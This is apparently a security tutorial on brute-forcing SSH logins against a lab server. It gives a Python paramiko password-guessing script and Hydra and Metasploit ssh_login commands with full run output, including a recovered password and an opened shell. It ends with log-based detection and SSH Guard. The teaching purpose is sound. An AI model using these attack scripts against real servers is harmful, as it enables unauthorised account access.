01- SSH Brute Force Password Attacks
Suppose that you have a server that you administer remotely with SSH, with access protected by an account name and a strong password. How might an attacker proceed?
The simplest approach is a brute force attack, where the attacker simply tries account names and passwords, one after another. Finding a list of account names (or likely account names) is something that can often be accomplished via a bit of social engineering. For example, an attacker might start by trying using the email addresses as the account names on the system.
The attacker also needs to find a list of potential passwords. Unfortunately for those of us charged with defending systems, these sorts of word lists are commonly available. For example, the folks over at Skull Security have a large number of dictionaries and wordlists for this purpose; they also have lists of passwords that have been hacked in previous attacks, including the enormous password list from the 2009 RockYou.com attack.
With these in hand, it is actually quite simple to write our own brute-force password attack program. As a crude example, consider the following bit of Python:
#!/usr/bin/python import paramiko import sys client = paramiko.SSHClient() client.load_system_host_keys() remote_host = 'trantor.cosc.tu' username = 'snovi' passwords = ['password','password2@','password3#','password1!'] for password in passwords: try: client.connect(hostname=remote_host, username=username, password=password) print "Success; password is: " + password sys.exit(0) except paramiko.AuthenticationException: continue print "Unable to find correct password"
This uses the paramiko Python library for SSH connections. It tries to authenticate to an SSH server located at the host trantor.cosc.tu
using the single account name snovi
and four possible passwords. With this as a basis, it is simple to roll your own, more sophisticated tool.
Of course, why would we want to work that hard?
One commonly used tool for brute force password attacks against a variety of services is THC-Hydra. This tool is already present in the (now) current version of Backtrack (Backtrack 5, R3). To use it, let us suppose that the list of user account names is in the file /root/Users
and the list of passwords to try is in the file /root/Passwords
. Then from the command line we run
root@bt:~# hydra trantor.cosc.tu ssh -L /root/Users -P /root/Passwords Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2012-11-02 22:46:33 [DATA] 16 tasks, 1 server, 10001 login tries (l:1/p:10001), ~625 tries per task [DATA] attacking service ssh on port 22 [STATUS] 266.00 tries/min, 266 tries in 00:01h, 9735 todo in 00:37h, 16 active [STATUS] 253.67 tries/min, 761 tries in 00:03h, 9240 todo in 00:37h, 16 active [22][ssh] host: 10.0.2.3 login: jtwer password: P1#unbored [STATUS] attack finished for trantor.cosc.tu (waiting for children to finish) 1 of 1 target successfuly completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2012-11-02 22:50:36
Another common attack tool is Metasploit. Most folks are introduced to Metasploit because of the various exploit modules it contains. However, Metasploit can be happily used as a brute force SSH attack tool with the module auxiliary/scanner/ssh/ssh_login
. Let us illustrate its use by attacking the same server as we did above; recall the list of user account names is in the file /root/Users
and the list of passwords to try is in the file /root/Passwords
.
root@bt:~# msfconsole msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > show options Module options (auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts
All we need to do now is to set the options as we need them; in particular we need to set the target (RHOSTS), the password file (PASS_FILE) and the file of user names (USER_FILE).
msf auxiliary(ssh_login) > set user_file /root/Users user_file => /root/Users msf auxiliary(ssh_login) > set pass_file /root/Passwords pass_file => /root/Passwords msf auxiliary(ssh_login) > set rhosts 10.0.2.3 rhosts => 10.0.2.3 msf auxiliary(ssh_login) > set stop_on_success true stop_on_success => true
Here, for simplicity we told Metasploit to stop trying accounts once it is successful.
Because this is an auxiliary module (rather than an exploit module), we run it:
msf auxiliary(ssh_login) > run [*] 10.0.2.3:22 SSH - Starting bruteforce [*] 10.0.2.3:22 SSH - [0001/9910] - Trying: username: 'jtwer' with password: '' [-] 10.0.2.3:22 SSH - [0001/9910] - Failed: 'jtwer':'' [*] 10.0.2.3:22 SSH - [0002/9910] - Trying: username: 'jtwer' with password: 'jtwer' [-] 10.0.2.3:22 SSH - [0002/9910] - Failed: 'jtwer':'jtwer' [*] 10.0.2.3:22 SSH - [0003/9910] - Trying: username: 'jtwer' with password: 'P1#chiccories' [-] 10.0.2.3:22 SSH - [0003/9910] - Failed: 'jtwer':'P1#chiccories' [*] 10.0.2.3:22 SSH - [0004/9910] - Trying: username: 'jtwer' with password: 'P1#constriction' [-] 10.0.2.3:22 SSH - [0004/9910] - Failed: 'jtwer':'P1#constriction'
Because we left the verbose setting on, you will see quite a lot of this go by, but if the password is in the list, then we will eventually be presented with our shell:
[*] 10.0.2.3:22 SSH - [0988/9910] - Trying: username: 'jtwer' with password: 'P1#venireman' [-] 10.0.2.3:22 SSH - [0988/9910] - Failed: 'jtwer':'P1#venireman' [*] 10.0.2.3:22 SSH - [0989/9910] - Trying: username: 'jtwer' with password: 'P1#unbored' [*] Command shell session 1 opened (10.0.2.200:44846 -> 10.0.2.3:22) at 2012-11-02 21:24:04 -0400 [+] 10.0.2.3:22 SSH - [0989/9910] - Success: 'jtwer':'P1#unbored' 'uid=541(jtwer) gid=541(jtwer) groups=541(jtwer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux trantor.cosc.tu 2.6.32-279.11.1.el6.x86_64 #1 SMP Tue Oct 16 15:57:10 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux ' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(ssh_login) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell linux SSH jtwer:P1#unbored 10.0.2.200:44846 -> 10.0.2.3:22 (10.0.2.3:22) (10.0.2.3) msf auxiliary(ssh_login) > sessions -i 1 [*] Starting interaction with 1... whoami jtwer
Notice that the shell so provided is not as nice or clean as, say a nice bash shell, but hey- we have the account and password and the ability to execute code- let’s not worry about the fact that it does not provide a command prompt!
It should be noted that, in my simple test above, that Hydra was dramatically faster than Metasploit, but YMMV.
Detection and Defense
Generally, detecting a brute force attack on your SSH server is as simple as looking through your logs for lots (and lots) of failed login attempts in rapid succession. For example, here is what the log /var/log/secure
looks like for our friend trantor.cosc.tu
(a CentOS 6.2 system) during the Hydra attack above:
[root@trantor ~]# tail -n50 /var/log/secure Nov 2 19:50:02 trantor sshd[12479]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor sshd[12479]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 2 19:50:02 trantor sshd[12464]: Failed password for jtwer from 10.0.2.200 port 40142 ssh2 Nov 2 19:50:02 trantor sshd[12465]: Disconnecting: Too many authentication failures for jtwer Nov 2 19:50:02 trantor sshd[12464]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor sshd[12464]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 2 19:50:02 trantor unix_chkpwd[12562]: password check failed for user (jtwer) Nov 2 19:50:02 trantor sshd[12558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor sshd[12466]: Failed password for jtwer from 10.0.2.200 port 40210 ssh2 Nov 2 19:50:02 trantor sshd[12467]: Disconnecting: Too many authentication failures for jtwer Nov 2 19:50:02 trantor sshd[12466]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor sshd[12466]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 2 19:50:02 trantor unix_chkpwd[12565]: password check failed for user (jtwer) Nov 2 19:50:02 trantor sshd[12560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor sshd[12528]: Failed password for jtwer from 10.0.2.200 port 59180 ssh2 Nov 2 19:50:02 trantor unix_chkpwd[12566]: password check failed for user (jtwer) Nov 2 19:50:02 trantor sshd[12563]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200 user=jtwer Nov 2 19:50:02 trantor unix_chkpwd[12567]: password check failed for user (jtwer) Nov 2 19:50:02 trantor sshd[12531]: Failed password for jtwer from 10.0.2.200 port 60024 ssh2 Nov 2 19:50:02 trantor sshd[12518]: Failed password for jtwer from 10.0.2.200 port 56650 ssh2 Nov 2 19:50:02 trantor sshd[12517]: Failed password for jtwer from 10.0.2.200 port 56642 ssh2 Nov 2 19:50:02 trantor sshd[12533]: Failed password for jtwer from 10.0.2.200 port 60102 ssh2 Nov 2 19:50:02 trantor unix_chkpwd[12570]: password check failed for user (jtwer) Nov 2 19:50:02 trantor unix_chkpwd[12569]: password check failed for user (jtwer) Nov 2 19:50:03 trantor unix_chkpwd[12568]: password check failed for user (jtwer) Nov 2 19:50:03 trantor unix_chkpwd[12571]: password check failed for user (jtwer) Nov 2 19:50:04 trantor sshd[12549]: Failed password for jtwer from 10.0.2.200 port 37366 ssh2 Nov 2 19:50:04 trantor sshd[12550]: Failed password for jtwer from 10.0.2.200 port 37367 ssh2 Nov 2 19:50:04 trantor unix_chkpwd[12573]: password check failed for user (jtwer) Nov 2 19:50:04 trantor unix_chkpwd[12574]: password check failed for user (jtwer) Nov 2 19:50:04 trantor sshd[12558]: Failed password for jtwer from 10.0.2.200 port 38298 ssh2 Nov 2 19:50:05 trantor unix_chkpwd[12575]: password check failed for user (jtwer) Nov 2 19:50:05 trantor sshd[12560]: Failed password for jtwer from 10.0.2.200 port 38462 ssh2 Nov 2 19:50:05 trantor unix_chkpwd[12576]: password check failed for user (jtwer) Nov 2 19:50:05 trantor sshd[12563]: Failed password for jtwer from 10.0.2.200 port 38641 ssh2 Nov 2 19:50:05 trantor sshd[12528]: Failed password for jtwer from 10.0.2.200 port 59180 ssh2 Nov 2 19:50:05 trantor unix_chkpwd[12577]: password check failed for user (jtwer) Nov 2 19:50:05 trantor unix_chkpwd[12578]: password check failed for user (jtwer) Nov 2 19:50:05 trantor sshd[12531]: Failed password for jtwer from 10.0.2.200 port 60024 ssh2 Nov 2 19:50:05 trantor sshd[12517]: Failed password for jtwer from 10.0.2.200 port 56642 ssh2 Nov 2 19:50:05 trantor sshd[12518]: Failed password for jtwer from 10.0.2.200 port 56650 ssh2 Nov 2 19:50:05 trantor sshd[12533]: Failed password for jtwer from 10.0.2.200 port 60102 ssh2 Nov 2 19:50:05 trantor unix_chkpwd[12580]: password check failed for user (jtwer) Nov 2 19:50:05 trantor unix_chkpwd[12579]: password check failed for user (jtwer) Nov 2 19:50:05 trantor unix_chkpwd[12581]: password check failed for user (jtwer) Nov 2 19:50:05 trantor unix_chkpwd[12582]: password check failed for user (jtwer) Nov 2 19:50:06 trantor sshd[12549]: Failed password for jtwer from 10.0.2.200 port 37366 ssh2 Nov 2 19:50:06 trantor sshd[12550]: Failed password for jtwer from 10.0.2.200 port 37367 ssh2 Nov 2 19:50:06 trantor unix_chkpwd[12583]: password check failed for user (jtwer) Nov 2 19:50:06 trantor unix_chkpwd[12584]: password check failed for user (jtwer)
Notice that all fifty of these entries were generated in just five seconds. Mr. subtle, this is not.
One tool that you can use to defend against these types of brute-force attacks on your SSH server is SSH Guard. If this tool detects a brute force password attack on your server, it can modify the corresponding firewall rule sets to limit or block the attack.